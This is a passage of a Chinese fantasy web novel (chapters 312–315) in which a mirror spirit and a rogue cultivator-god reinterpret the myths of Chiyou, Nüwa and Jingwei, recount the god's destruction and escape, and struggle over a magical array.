“等姬有熊安定完东夷的人心后回过神才惊觉:原来那些她不放在眼里的异族人已经自建城池、初具规模了!再说战败之后,一直有人传闻蚩尤未死,而是战败逃亡、南下去寻她死去的女儿女娃。” “当时还常有人说在大半夜看见她拿着铜矛的可怖身影呢,问她去哪?说要去东海……真是见鬼了,哈哈哈!”她说到这顿住,看向石映心,挑了下眉仿佛在等她接话。 石映心微微叹了口气,接上了她的玩笑话:“蚩尤确实死了,首级被姬有熊斩断埋葬在宋山加以封印;不过……首身离兮,心不惩……身既死兮神以灵,魂魄毅兮为鬼雄,就如人们对她的赞歌所说,她的魂魄不死。” “不死的魂魄要去完成生前未完结的执念……”这是邬芽她们说的,石映心想起幽冥宗弟子的话,“所以她来到了望女县来找女娃?” “不错!”旋娉哼笑一声道,“在蚩尤还在与姬有熊打得火热时,女娃受母亲之命南下视察。可她们本就不将异族放在眼里,又怎会有充分的准备?很快便被异族人发现,因轻视他们的实力而掉入了陷阱。” “他们厌恶蚩尤,又怎会放过她女儿?”旋娉讥笑一声,“自是要唤来狂风暴雨,让她那只孤零零的小舟倾覆在永无止境的海水之中;让恶浪吞没她的呼唤,吞没蚩尤的火焰,吞没太阳神的光辉!” “身为战神的女儿,女娃如何甘心就此溺亡?可她的火焰在东海之中太过渺小,只能燃烧自己涅槃重生为精卫神鸟…… 此事却被异族人引导着让不明真相的百姓们编造了一个愚蠢天真的故事人物!真是可悲可笑哈哈哈哈!” 石映心抬起眼看大笑的旋娉:“后来呢?” “后来?”旋娉朝她挑了下眉,“后来蚩尤死了。她是个愿赌服输的真正勇士,并不悔恨于输给了姬有熊;她一生光明磊落、堂堂正正……哪怕她好战嗜血、不像一个好人,可她岂会在乎好坏?” “这样的人唯有一念无法放下,那便是她丧生在东海的女儿。当时为了部落的战事,蚩尤即使感知到女儿的死亡也不能脱身,直到死后才找去了东海,看见了女娃的化身精卫鸟……” 说到这,旋娉冷笑一声:“心爱的女儿惨死便罢了,她的死亡事迹还被那些异族人篡改得面目全非——搁谁谁吞的下这口气?于是蚩尤将自己的无头躯体用火炼化成填海石,打算助女娃填平东海!” 第312章 “原来填海石就是蚩尤的肉身……那块小小的石头真的能填平东海?”石映心问。 “你说呢?那可是蚩尤。”旋娉耸了耸肩,“要不是妽荼和郁垒及时赶来制止,世上早已没有东海。这两个家伙倒是聪明得很,居然将女娃也变成一块神石,将她包裹在蚩尤的填海石之外……相当于是用蚩尤女儿将母亲的魂魄封印了,东海因此逃过一劫。” 石映心若有所思:“妽荼仙尊和郁垒仙尊竟然这么做……” 提到这二人时,旋娉的语气是明显不爽的:“她们自降生于世便是女娲的手下,即使女娲早就死了,也一直履行着她的意志,势要维护什么天下安定……其实姬有熊和蚩尤大战时她们便在其中多次阻拦劝说,可惜无法。” “因为姬有熊和蚩尤身上也有女娲神力……”石映心喃喃道。 “聪明。”旋娉嗤笑一声,“她们打不过这两位人神,当然也不能打,毕竟身负女娲神力的人有天定的命数要履行;可死后的蚩尤就不同了,虽说‘身既死兮神以灵,魂魄毅兮为鬼雄’,可人死身首分离后,她的神力大不如从前,才能叫妽荼郁垒得逞。” 居然用“得逞”二字吗?石映心瞅了眼旋娉牙痒痒的神情。 旋娉说着说着别人的故事不知道想到了什么,真的把自己气到了,这会还乱撒气呢:“你这是什么表情?” “没什么。”石映心撇过眼,嘟囔道,“只是明白了。” “哦?明白什么?” “火水之争。”石映心说,“因果牌上的提示。” 旋娉便笑了:“不错,那棵女娲神树是有些本事。” 如果别天天玩谜语就好了。石映心这么想着,又听旋娉道:“那么你听我费口舌说了这么些话,是不是已经知晓了答案?女娲神力……将带来什么?” “嗯。”机智聪明的石映心自然已经明白,“三个线索:主人公,因果根源,神祇的失落,还有炎帝女娃的故事……其实重点是第三个线索。” 旋娉歪头:“是吗?” “对你来说是。”石映心直白道,“毕竟这是你最在乎的。” 旋娉眨眼:“哦?” 见她这轻佻的、讨人厌的模样,石映心微微一顿,却扬起了嘴角:“嗯,因为你也曾成神,但却很快失落——变成如今这副模样。” 旋娉的嬉皮笑脸唰地落下一片阴沉:“哇,你真的知道。” “让我想想,涉及的角色有些多。”石映心一步一步朝她走近,余光关注着她身边镜面中的景色,“过去的日子太长远,我身为天地之镜也分不清楚,既然如此,就以我的记忆为历史,好好算来这一切。” “故事的最开始是……女娲。‘有神十人,名曰女娲之肠,化为神,处栗广之野,横道而处’。后世之人对女娲之死众说纷纭,女娲怎会死呢?她是天下最伟大的创世神,广阔的世间、无垠的生命皆因她而生,没有什么能杀死她。除非……” 石映心看向旋娉:“她自己选择了死亡。” 旋娉一下笑了:“听你说的……世上有这么傻的神?” “天地之镜比世上任何人都明白女娲。”石映心不理会她的嘲讽,“对女娲大神来说,死亡不是死,生生之谓易,不死不能生。女娲选择死亡,是为了再次重生归来,适应天地的大势所趋。” “不过,她再归来时自然不是女娲的身份。大道自然、天上地下已无法容纳再有一个如此强大的神祇。她只能选择分散神力、化作其他神祇回来。比如你我所知的常曦、羲和,同时期的蚩尤、姬有熊,以及……” 忽然想到什么,即使知道她听了会生气,但石映心依旧朝她欠揍一笑道:“照这么看,其实妽荼和郁垒也是女娲化身之一。” 旋娉果然很不满地嗤笑了一声。 石映心继续道:“女娲毫不自私,毫不渴望名誉。她无所谓自己将化作普通妇女或是统领部落的人神,无所谓自己是胜利的姬有熊还是战败的无头蚩尤,无所谓成为鲛人泉绮还是西王母金瑶,无所谓是天神帝俊还是你——旋娉。” 旋娉静静地盯着她。 “可是神无所谓,人有所谓。”石映心一挥手,空中浮现了几张熟悉的脸,“她不可能没想到,但无法不这么做,将神和人结合……如何能无视人性呢?当然,一开始,在大多数时候,女娲神力的转世者都很正派、善良……” “但还是需要郁垒和妽荼,”石映心指尖的灵光从一个普通女人、姬有熊和羲和的脸上移向蚩尤,“需要她们来控制这样好战嗜血的‘恶徒’。” “还要注意一些潜在的危险分子,”灵光圈住了鲛人泉绮和西王母金瑶,“虽然性情不定,难以控制,但她们必须存在,身为合欢宗和药神谷的最开始的先祖起源。” “除此之外,承受命运带来的痛苦也是难免和必然的,”灵光绕着天神女魃、帝俊和常曦打转了一会,“毕竟神性如此无私伟大,应该高高照亮一切,独自承担阴影。” 石映心轻轻挥手,空中构造这些角色的光芒汇聚在一起,只变成了一张脸:“天将降大任于斯人也,斯人岂会不知?她们在勘破命运后大义凛然地选择了履行自己的使命,就连蚩尤也是在死后才去寻女,无一例外……直到变数出现。” “那是在人之上,在神之下的仙,也就是……”石映心指着空中的影子,看着面前的人,“你,旋娉。” 旋娉微微眯了眯眼,眯起一个笑弯弯的双目,幽幽看着她。 “千百年前,凡人进入修仙历史,而你作为当时身负女娲神力的人,自然是出类拔萃的天赋异禀、得天独厚;入道修仙之后,可以说是离人很远,离神很近了。”石映心说到这还替谁反思了一下,“我想这也算是一种意外,毕竟女娲神力也是第一次接触‘仙’的概念,有些不知轻重。” “哼。”旋娉意味不明地轻笑一声。 “这下便很难分辨了。”石映心自顾自地继续说,“你过人的本事究竟从何而来:勤奋努力?不至于此;天降神力?又不完全。比起蚩尤等人的天生神力,你的修为确实是凭自己的本事修来而来,光有天赋是不够的。” “因此……你比她们都厉害。”石映心客观地说,“你身上本就拥有过多的女娲神力,再加上自修仙法的加持……居然能活着成神……” “这竟还不是重点,”石映心看着旋娉静默的神情道,“姬有熊、常曦她们要成神,需完成女娲的使命,推进天地的进程后才可在去世后得到神格、被世人奉作神祇;可你,只需顾着自己变强,便能冲破成神的底线。” 石映心说到这,身为天地之镜都要感叹一声:“太超过了。” “哈哈哈哈哈哈!” 旋娉实在高兴她的夸奖,得意道:“当然,我可是旋娉。” “正是因为太超过了,”石映心不慌不忙地补充道,“才被天地抹杀了存在。一代绝世天才的陨落——竟这么无声无息,毫无痕迹。” 笑声戛然而止。 “让我猜猜……你做了什么?”石映心笑着思索,“不,是因为什么都不愿做,所以才不能得到神格……对吗?” 旋娉望着她,真心实意地笑了:“果然,只有你懂我。” 石映心:OO 旋娉道:“若旁人听我这么说,定觉得我在大放厥词;但我告诉你,小镜灵——是我不屑当神!” 小镜灵听此微微叹了口气:“所以我说……出现差错了。” “差错?”旋娉琢磨着她口中这个词,细细地品来,越发觉得有意思,“我是差错么?哈哈哈哈!大道运行、地矩天规,普天之下万世以来,仅有我旋娉才能荷此重誉!难道谁都能——成为这个差错吗!哈哈哈哈哈!” 随她猖狂的笑声,有光芒自下而上地破开云层间的雾蒙蒙,先是一道,紧接着两道三道——眨眼间汇聚成万丈光芒,照亮了度朔山上空、天地之镜的双目。这便是换月神阵。 “换月神阵已成!” 旋娉的脸在光芒中已经看不清神色,她朝镜灵伸出手,蛊惑又不可拒绝地命令道:“来吧,天地之镜!” 石映心直视着对方在光芒中看不清的脸,听话地伸出手去。 相握的瞬间她一眨眼睛,因此看清了对方志在必得的笑脸:“哦,看来你以为复刻了我的修为便能驾驭这换月神阵?” 石映心也笑了。 “当然,我可是石映心。” 【大道运行——地矩天规——】 【天地之镜——偷天换月——】 【================>】 “什么?” 镜灵睁开眼来,眼前一片白茫茫,她似乎是在云层之上,又不只是云层之上,像是天外之天;这究竟是……啊,她知道了,这里便是凡人们说的天庭。不过和话本中描述的神仙聚集、气派辉煌的景况不同,更像一个景色优美的世外仙境。 嗯……就是适合闭关静心修炼的那种。 “你在开什么玩笑?” 镜灵闻声望去,旋娉就在不远处,正抱着胸对着前方一朵大概是人样的云彩说话,语气不高兴且非常疑惑:“我已经破境成神,来到这莫名其妙的鬼地方也就算了,你说要我干嘛?去世间广施恩泽?” “旋娉上神,恭喜您成神!”云彩乐滋滋道,“您说得不错,成神后便能游荡天地之间,云行雨施、广施恩泽啦!相信您很快便能修成伟大的神格!” 旋娉维持着奇怪的笑容,静静盯着面前的非人物,忽然嗤笑一声道:“什么玩意……不干。” 说罢转身就走。 第313章 云彩:OO? “旋娉上神!”疑惑地叫住她,“您要去哪啊?” 旋娉头也不回道:“我已经成神,万仙之上唯我独尊,自然是想去哪去哪,得到我应有的自在!哈哈哈哈……” 云彩:个_个 “且慢!”它瞬间消散后又在旋娉面前成形,“自在是一回事……您也不能忘了自己的本分呀。” 旋娉感到莫名其妙:“什么本分?” 云彩理所当然道:“广施恩泽、修炼神格……” “这是我的本分?”旋娉指了指自己,“谁给我的本分?” “本分一词,是指属于自身的责任和义务。”云彩摇云晃云道,“如何定义本分,该看自身所属的地位和环境……旋娉上神,既然你已经成为神祇,自然该行神祇之本分。” “不干。” “不行!” 旋娉冷笑道:“看来你和我读的不是一本书籍,我学到的本分一词,是指自身想做的事便要去做,而不是听谁的命令!” “不是这样的,旋娉上神……” “闭嘴!”本就没什么耐心的旋娉上神语气非常差劲道,“我自引气入体以来,日夜辛勤不辍苦苦修炼百年——就连破境成神的机缘也是我亲手创立的换月神阵!我得到今日的一切全凭自身本事,凭什么叫我广施恩泽?世上又有谁配得上我的恩泽!” 云彩听此,叹了口气道:“旋娉上神,这份因果岂是这么算的呢?你聪明过人,如今不过是……不过是不想承认罢了!” 旋娉冷眼瞅它:“随你怎么想,你能耐我何?” 说罢大笑几声,转身要走;云彩拦在她面前,却被她一招撕裂,好在这对云来说不算什么,只是它因此明白了旋娉的决心,很是痛心地无奈道:“好吧,好吧!既然如此你不要怪我,这也是无奈之举!” 就见它大喊一声:“妽荼、郁垒,速来——” 随它话音落下,旋娉前的云层忽然翻滚起来,扑腾的白云蹿得很高,眨眼间化作两道人影,正是妽荼和郁垒。 三神相见,竟然都认识;互相打量一眼后,妽荼一言难尽地道:“在乌明山庄上飞升的修仙者果然是你——旋娉!” 旋娉先前和她们打过照面:当时她在大杀四方,有些阴险小人联合起来,打算在她闭关修炼时设下陷阱;这些愚蠢的鼠辈岂是她的对手?她原先不将他们放在眼里,竟助长了他们的腌臜心思!哼,那就别怪她不客气。 可就在她要把所有人都杀了的时候,这两个家伙出现制止了她,说什么“罪不至死”“闹太大了会扰乱修仙界安宁”叽里呱啦……更何况那些人压根没伤到她分毫,她何必要这么肆无忌惮地泄愤? 旋娉看出她们的身份并非普通修仙者,如果缠斗只会两败俱伤;这不行,她正在蓄势破境飞升……为了长久之计,这些蝼蚁放过便放过吧, “好,我就看在二位的份上,放他们一条小命。” “旋娉,”谁知她都退让一步了,那个叫郁垒的还要得寸进尺,“你如今是修仙界之首,不该如此肆无忌惮,而应以身作则地当一个正派修士。” 旋娉挑眉:“我不管他们正派反派的事,我只走自己的道。” 当时她这么说。 这会她看着面前二位,并不意外她们的身份;不过如今她不必再忌惮她们——她已成神,何必再客气? “呦,好久不见。”旋娉不礼貌地打招呼,“二位有何贵干?特来祝贺我成神?” 妽荼和郁垒对视一眼,二人的神情皆有些复杂。还是妽荼道:“倒是乐意来祝贺你成神……只怕要不遂人愿。” “人愿?这里哪有人啊?”旋娉故意左顾右盼,漫不经心地对二人笑,“神无所不能,不再有愿望。” “旋娉,”不善言语的郁垒直白道,“我们得知你不想修炼神格、履行神祇的职责?” “是又如何。” “如何?”郁垒冷漠地看向她,“那么你不能为神。” 旋娉嗤笑一声道:“我能不能难道是你们一言论定的?我成神靠的是我自己的本事,和你们有何干系?既然无关,你们又有什么资格说我不能成神!?” 妽荼如看一个耍赖的小孩,皱眉道: “还在装糊涂?你分明知晓成神一事与你与生俱来的天赋神力有关;就是后天勤奋修炼,可吸收的灵力也是来自天地万物;世间努力的修仙者千万,你得天独厚才能成神——不错,你是得了天地的恩赐才成神!如今却不愿回报……” “闭嘴!”旋娉不愿再听。 妽荼偏要说,还要厉声说:“像你这样自私自利者根本不配成神!” “哈哈哈哈哈!”旋娉却大笑起来,“自私自利又如何!谁说神就要大公无私、鞠躬尽瘁、死而后已?像那个愚蠢的女娲一样!哈哈哈哈……” “旋娉!”妽荼厉喝一声,“你好大的胆子,竟敢侮辱女娲大神!?” 旁边的郁垒却是面上一沉,意外道:“原来你已经明白了你身上的神力来自于女娲,既然如此……” “我的神力来源于女娲又如何?侮辱她又如何?”旋娉通红的双目用力地看着面前二人,似乎想穿过她们看到谁,“难道她不蠢?她为后世做的一切到底落了一个怎样的后果?就连赫赫创世神之名都要被一只狗给替代!你们二人作为她的部下,竟能忍此侮辱——却忍不了一句愚蠢!?” 听到某件恶心之事,妽荼明显有所触动,但也只是咬了咬牙道:“那些凡人口头流传的荒诞故事何必当真!” 荒诞故事……何必当真? 旋娉感到全身的血液冷静下来,大脑在褪去恼怒后无比清醒。 她这时恍然明白了,她们虽大公无私、广施恩泽,却根本不在意某一个凡人;在她旋娉眼中,世人皆如蝼蚁,不过分大蝼蚁小蝼蚁;而在神祇眼中的众生平等……原来是平等到不应该为任何一人低眉垂眸。 于是无所谓世事更迭,物换星移。 无所谓是非对错、阴阳颠倒。 更无所谓个人的得失与悲喜。 总之——都是一般的凡人罢了。 “哈哈哈哈!哈哈哈哈!”旋娉狂笑道,“原来这就是神?原来这就是神!” 在她讨人厌的笑声中,郁垒深深地望着她、不,是穿过她望向她身后那朵疑似人形的云彩,仿佛有低声的回应:“……这就是女娲。” 妽荼听不下去这魔音贯耳:“旋娉!” 旋娉猛地守住笑意,朝二人平静道:“好,我不做神了。” 郁垒微愣,又想到什么,叹了口气道:“你还是不明白情况。” “你们说我不配为神,好啊,我就自降修为不做神不就行了?”旋娉一脸无辜地摊手道,“情况明了。” 妽荼感到一个脑袋两个大,一时无语;还是郁垒解释道:“成神后魂魄会脱离凡胎肉身,一生的修为会尽数转为神力,不再属于修仙界那一套仙法理论,无法自降修为……一言难尽,总之你回不去人间了。” 旋娉反应她话里的意思,整个人哇凉下来,语气毫无波澜:“哦,是吗,那你们二人原打算对我做什么?” 郁垒:“毁了你的神格,让你入轮回转世。” 旋娉:个_个 “你的意思是……我,旋娉,普天之下修仙界第一人,”她渐渐露出一个荒诞的笑来,“千辛万苦地成神了……然后此生就结束了?” 郁垒:“对。” 旋娉就不笑了:“不可能。” 郁垒:“那你安分地做神。” 旋娉:“想得美。” “做神不能既要又要。”郁垒微微摇头道,“既然如此,我们就不客气了。” 二神蓄势待发,旋娉初具神格,自知还不能和二位“老神”对付,转身就要跑——一头扎进了一团云彩之中。她紧忙挣扎起来,竟然无法摆脱!?胡乱地释放出法术,一招招却像被云彩吞入腹中、毫无效用。 “放开我!什么鬼玩意——放开我!” 妽荼郁垒二人手掌上已经凝结了一团神力,她们对视一眼,在微微的颔首之后,默契地朝被困住的旋娉送出一击—— 没有什么大战三百回合,没有什么惊天动地,没有什么轰轰烈烈。弑新神原来不是一件难事。 一切的最后只有旋娉在无形无质的云彩中的咆哮: “凭什么!凭什么——” “救我!救我!” “天地之镜——” 天地之镜睁开眼来,一双黑透了的双目无情地看着面前的神,看见她通红的眼中不断落下泪来。 她第一次见旋娉哭,这家伙的眼泪也不柔弱,只是因为疼痛才掉出来,泪水里混着血丝,全是不服气。 【你想我做什么,旋娉?】 “救我……”旋娉死死看着她,或是镜中的自己,“我不能死!” 【你不会真正地死去,即使她们毁了你的神格,但你强大的魂魄不会死,等你投胎转世后又将是一位天纵奇才。】 “别拿女娲那套糊弄我!”旋娉咬牙启齿道,“我只要身为旋娉活下去!” 【为什么?人的每一世有何不同呢?若你不想成神,下一辈子的天才和这辈子的天才并无区别……】 “哪里没区别?!” 【修仙界,还是那个任你自在的修仙界。】 “可我已不是如今的我!” 【生则有死,这是万物自然之道,谁也不例外。你今日不死,终有一日也会。】 旋娉在被毁神格的剧痛之中——猛地盯住她:“你是谁?” 【(OO)】 第314章 “哈哈哈哈哈哈!” 旋娉的七窍中流出血来,她全身上下的经脉如被割裂,不断地奔涌而出无限的灵力,在这莫大的、失落大于疼痛的折磨中,她猖狂地发出笑声,听着像是疯了;可实际上,她还是那么清醒、聪明,强大。 “你好样的!你真厉害!居然能操控换月神阵——石映心!” 一阵幻境被撕裂的刺眼光芒遮蔽了镜面,在这片刻的茫茫空白中,石映心感到有人掐住了她的下半张脸,恶狠狠地说:“你确实变了!千百年前这个时候,你可救了我!” ……真的假的。 确有其事啊,小映心,旋娉很快让她回忆起来了。 当年她被妽荼郁垒还有那莫名其妙的云彩联合弑杀的时候,被她带着一起飞升的天地之镜受她召唤而出,接受了主人最后下达的命令:“救我!想尽一切办法救我!” 【你飞升前的凡胎肉身已经无用,如今刚形成的神格又被她们摧毁……若不去投胎转世,旋娉,你的魂魄将无处安放。】 “救我……”旋娉竭力道,“你可是……绝世的珍宝……天地之镜……你一定有办法……” 【我只是天地之镜,不是女娲,无法为你捏造新的躯体。】 “我不能死!” “我不能死……” 天地之镜看了她有一会,她并不适应旋娉这般狼狈落魄的模样,那些学来的人类情感还残留在它的镜面之中,虽然不多……但偏偏有一些。 【确实有一个办法。虽然我无法为你捏造新的躯体,但你的魂魄可进入我的镜中暂存;不过我只能容纳你,而不能替你隐藏。你身上的神力太盛,若是尽数带来,定会被妽荼她们发现。你需要丢弃大部分的神力,越多越好。】 “……”旋娉已经说不出话,不断流血的双目勉强睁着盯住镜面。 好在是天地之镜,完全明白的她的心思: 【舍不得?那便带着这些神力投胎转世吧。我说了,下一世你依旧会是天纵奇才、修仙界第一人。】 “……” 【你想明白了吗?究竟要“旋娉”,还是神力。】 想得太明白了。 旋娉自然选择旋娉。 她实在太聪明,聪明到狡猾的地步。当时她找顾不醒帮忙改造天地之镜的时候,偶尔得知了“上古神石”的存在,便有心去找过,想着日后若是有需要,可想办法借其中的力量……当时是没用上,如今临“死”之前,却叫她灵光一闪。 这些必须丢弃的神力何必乱丢呢?不如就将它们封印在神石之中,等她日后归来——会有那一日的,便再从神石中取回来便是!而且那些神石中蕴含的神力大部分和女娲神力同源,完全可适应她的力量。 不过每颗石头可容纳的神力有限,毕竟它们自身本就有一定的力量;旋娉只能四处分散: 一些藏在鲛人族的神螺中,一些藏在天神女魃的青蛋中,一些藏在月神的偷天神阵中,一些藏在帝俊神像中,一些藏在阿央白石中,一些藏在宋山下蚩尤头颅中……还剩下许多藏在一颗较为空白的蚌珠中,供养了大地和水源,长出一片神秘葱郁的森林。 在此地闭关的修士受感应入梦,梦醒之后见荒地竟在一夜之间变作一片森林,感到神的恩赐,决定在此自立门派,受梦境启发起名“玄牝森林”,后来被二位神秘大能找上门要求改名。 本不想答应,但因为打不过只好妥协……当然这是后话了。 旋娉分散神力后便陷入了无知无觉的沉睡,之后发生了什么,这时她借天地之镜的回忆也看明白了: 原来她将神力分散后,天地之镜便将她收入镜中。罪魁祸首没了,可怜的小镜灵就变成了众矢之的。 妽荼郁垒杀生杀到一半,就见旋娉莫名不见了身影,云彩之中却掉下了一面镜子。 “这是……”郁垒拿起来看了看,“天地之镜?” 妽荼皱眉道:“原来它在旋娉手中……旋娉人呢?不会藏在镜子里了吧?” 郁垒便将手覆在镜面上,细细感应一会,摇摇头道:“没有旋娉的气息,她可能是借镜子逃走了。” “可恶!”妽荼冷哼一声,“她以为能跑到哪去?无论天涯海角,只要女娲神力所在,便能让你我找到!” 郁垒也微微颔首,举起镜子道:“那么这面镜子该如何?” “封印了吧。”妽荼思酌道,“这样的绝世珍宝已经不适合当下的世间了,任何一人得到它都将是隐患,就怕再出现下一个旋娉。” 郁垒并无异议。 她们正打算将天地之镜封印,却见镜子猛地溜出郁垒的手中,似有逃窜的动静;二神一惊未来得及反应,眼见它掉入脚下的云层中——然后被云彩包裹着送了上来。 “……镜随主人。”妽荼一脸无语地接过云彩中的镜子,这下是拿得紧紧地,“狡猾得很!真是多亏了你,慕云。” 疑似人形的云彩微微一晃。 就在二位讨论着该将这面镜子封印在哪个秘境中的时候,慕云似乎低下了脑袋,它望穿云层,看向遥远的人间。 有什么……还是溜走了。 是什么呢? 它穿过浩荡无垠的天空,渐入人间烟火;在一片废墟的乌明山庄上空,找到了那还留有一些旋娉灵力、暂未完全消散的换月神阵。 这会也没时间再找其它能容纳的载体了。 也许是无可奈何,也许是命中注定。总之,天地之镜侥幸逃出的七魄就这么融入了换月神阵。因天地之镜不愿被找到的意志,神阵瞬间变得透明,仿若一阵耳边吹过的无形的风,只在夜晚的月色之下偶尔闪现一道符阵的咒文。 换月神阵有了懵懂的意志,它不清楚自己到底想要什么,只是长久地在人间游荡着,自在又茫然。 也许千百年之后,这神奇的阵法会在有趣的人间修炼出三魂,成为一个完整的魂魄吧。 那么天地之镜呢? 这绝世宝器到底是被妽荼和郁垒藏在哪个秘境中了?除了这二神之外,大概只有当时在场的、并不让她们警惕的慕云知道了。 * 惊!原来旋娉能有今日,她这个镜灵也脱不开干系。 得知过往的一切后,石映心多少有些沉默,实在地心虚了。 不过谁让她是石映心,很快原谅了自己,并且摆出一本正经的脸来如此对旋娉说:“救你的是过去的我,而我已经不是从前的天地之镜了。” 旋娉:“呵呵。” 她们这会依旧在换月神阵中对抗纠缠。这也是旋娉没想到的,她单知道自己是换月神阵的主人,没想到启动阵法的曾换月“曾经”算是神阵的阵灵,再加上石映心“照”了她的本事,一时竟让她无法得到神阵的掌控权。 掌控不了,就无法夺舍天地之镜。 而石映心“照”来的本事最多和旋娉齐平,无法更胜一筹,因此也很难办。 情况就是这么尴尬。 不过旋娉可以耗着,因为“照”来的本事始终是虚幻的泡沫,很快就会消散;镜灵自然也明白这一点,她可不能打持久战。 “不要执着了,旋娉,”石映心正义凛然地劝说她,“乖乖去死吧。” 旋娉:……这么久过去了还没学会说人话吗,小镜灵? “你对我真是狠心,”她皮笑肉不笑道,“我可没想让你去死,还想着再为你找一副可容纳的躯体。” 石映心不留情地揭 穿她的目的:“我怎么说也是你的救命恩器,等变回天地之镜后还能为你所用,你怎会舍得让我消失?” “哈哈哈哈!不错,我就是这打算。”旋娉笑着笑着,突然神色一落,有些痛心道,“你还是这么懂我……世上只有你懂我,可你也变了!” 石映心扒拉了一下捏着她的脖子越来越紧的手,喘了一口气道:“我本来就变了……你依旧是旋娉,可我已投胎转世……” “所以我要让你变回去——变成属于我的天地之镜!” “不可能……”石映心深呼一口气,“不可能的。” 旋娉却笑道:“对我而言,没有什么不可能。你看,即使她们抹去了我的一切,一夜之间,让我从举世闻名的修仙第一人变成无人记得的不存在……可我还是回来了,我还是回来了!哈哈哈哈!” 石映心默默看着她,被掐红的眼底泛起一些红血丝,她轻轻地说:“是我错了。” “……什么?” “是我错了,旋娉。”镜灵真心道,“当时我不该……不该听你的话,不该让你继续身为旋娉活下来……” “闭嘴!”旋娉勃然大怒道,“你没错!你是世上最懂我的存在,因此才会救我!你现在不承认——都是因为你的凡心在作祟!” “……凡心?” “对!”旋娉自己给自己说明白了,仿佛醒悟过来,咧嘴笑道,“天地之镜是世间最公平公正的存在,因此你才懂我,你才救我!如今你后悔,都是因为这颗凡心!” 说罢她猛地抽回掐脖的手,虎视眈眈地盯住石映心的左胸膛,下一瞬便伸出手去—— 石映心好险拦住了,但依旧被她插进去两根指头,这时她感受不到什么疼痛,只大脑飞速运转着该如何对付:“旋娉,难道你忘了?你也是凡人,你以一颗凡心成神,也因她们不懂你的凡心而不愿做神……如今你要夺走我的心,岂不是自相矛盾?” “矛盾?哈哈哈哈哈!矛盾的是你的心!”旋娉大笑道,“你有了凡心,有了自己的欲望,才不能对我感同身受!好啊,既然如此,那你照我吧!” 第315章 “……什么?” “照我,不要照我的神力,照我的心。”旋娉拉住她的手贴在自己的胸口,微微眯起的双眼里有笑意有恨意,“看看我的心,感受我的一切,做出你成为我之后的选择!来——照啊!” 石映心本不想照,但此时没有更好的办法。照了旋娉的神力也打不过她,时间又紧迫……也许只能试试。 她还有什么选择呢? 镜灵深呼一口气,对着面色并不狰狞却很可怖的旋娉眨了下眼睛。 再睁开眼时,她来到了一个奇异的地方:似乎是记忆中的天外之天,可也有不同;白茫茫之中,处处都是镜子。 她很快意识到这是旋娉的心镜,那么这些镜子中……会有她想要的答案吗? 无法可想,毫无办法,她只能往前走一步,镜光一闪,她在第一面镜子中看见了……何碧薰?她在幽都三生石边,正在和孟婆说话,孟婆说: 【下一世你就做他的千金女儿,从小锦衣玉食、备受疼爱;长大后爱上一个觊觎你家世的男人,你将他引荐给你爹,也就是贾庆升,而他将因错信此人而死。你夫君虽害死你父亲,不过接手了你家之后,依旧让你和你娘活得滋润、家业蒸蒸日上;你们被他蒙在鼓里,幸福地过完了一生……】 【怎么可能!】何碧薰惊慌叫道,【你胡说什么!?】 【不喜欢?你这千金小姐、富裕一生的命格,别人想求还求不来呢。】 画面一转,她半个身子泡在忘川河里,面色青白,唇色干裂,双腿双手已经化作了白骨,但依旧在缓慢地提骨迈步。 【又来一只要走河的鬼。看来走河的传闻是无鬼不知了。】破舟上的鬼问她,【你去人间做什么?】 何碧薰侧过头,脸上有个奇怪的黑洞,不知道被什么咬的: 【我有深仇大恨要报……今生就要报。】 【唉……】舟上的鬼却摇摇头说,【世事漫随流水,算来一梦浮沉。不要沉溺于过往的仇恨了,算了吧……】 何碧薰抬起眼来,对着石映心道:“什么叫算了?为何我投胎转世后要成为他的女儿?再借另一个男人的手让贾庆升死去?这是我在报仇吗?从始至终、前世今生,我分明只是他因果中的一环罢了!” “自古多情空余恨,此恨绵绵无绝期……” “凭什么……凭什么我始终在他的命运之中为他起承转合?” “我的命运呢?” 她的脸又变成了邓晴,笑道:【我娘说过,世间万物不可强求,一切皆是冥冥注定。你和贾庆升有这般缘分,又赶在我与他订婚前来了,想来也是命中注定。】 画面一转,邓晴站在她姨妈家前,魂不守舍、六神无主地同她们道别,那死寂的目光看来: “那么这就是我的命中注定吗?去填补本应是何碧薰转世后的空白?成为他人命运的起承转合?” 石映心微微蹙眉,转过脚尖往继续走。 下一面镜子里出现的是唯唯,她躺在换月的怀中,天真的单眼里有缥缈的害怕和不解:【换月姐姐,你要杀了我吗?】 【我……唯唯……我,我不知道……】 唯唯额间的符箓发起光来,她突然多长了一只眼睛出来:【姐姐,若你知道世上有一死便能解决的业障,那死便是恩赐了。我已经困在这里太久太久,久到我不知道……今生的我到底是谁……】 唯唯? 剖腹的女人尸体前,她在大师兄身后:【师兄,快杀了他。】 大师兄没有回头:【映心,你知道他是谁吗?】 【我需要知道吗?那师兄你说吧。】 【他就是马懿。】 她记得马懿是……谁来着? 【小芷,你冷静一点!有什么事好商量。小懿只是一个三岁小孩……】 “咚。” 石映心低下头去,白茫茫的地上滚来一个什么,直到停在她脚边,转来了正面,她才认出来——正是马懿的小脑瓜。也分不清是哪一世的,其实也不重要,那么重要的是什么呢? 【对。】画面中传来泉绮的声音,【……我、我不能再不明白。】 【明白什么?】 【明白只要我们还活着,只要血脉继续传承,错误便会永不停止……这份因果看似伴我这一生,实则随我入永世轮回……我生了我,我留下了因,也成为了果。我不是我,是累世因果的集成。】 【我想要自由,我不想下辈子再被奇毒约束,更不想让所有应该自由的灵魂被拘禁在我们种族的牢狱里。】 【先祖劈尾上岸,传法建功,繁衍子嗣,定是想我们鲛人一族昌盛兴旺、源远流长;可惜天不随人愿,竟让这错误传下来了……起始是不易,我没有先祖那般强大的神力,但我想……我们会有结束一切的勇气。】 石映心看着镜中她含泪的眼睛,心中有些感触。 这时镜光一闪,她下意识闭上眼睛,就听见一阵清脆悦耳的笑声: 【哈哈哈哈哈哈!】 石映心抬起头来,镜中的泉绮对自己笑道:“你是你,你也不是你。照别人的心思、解别人的难题很容易对吗?今日方知我不是我,石映心,终有一天你也会明白这句话……” 唉。 镜灵叹了口气。她已经很明白了,不能再明白了。 在泉绮渐渐远去的笑声中,石映心来到了第三面镜子前,按照顺序,她料想这次应是…… 童柔意? 她看来,扬起一个平静的微笑:【石仙人说得不错,若是一个凡人在没有太阳的地方想活下去,那就只能变成妖怪……我当然不想死,那就只好变成妖怪了。只要我还活着,我认得我……这便够了。】 石映心依旧没想起来自己什么时候说过这句话。 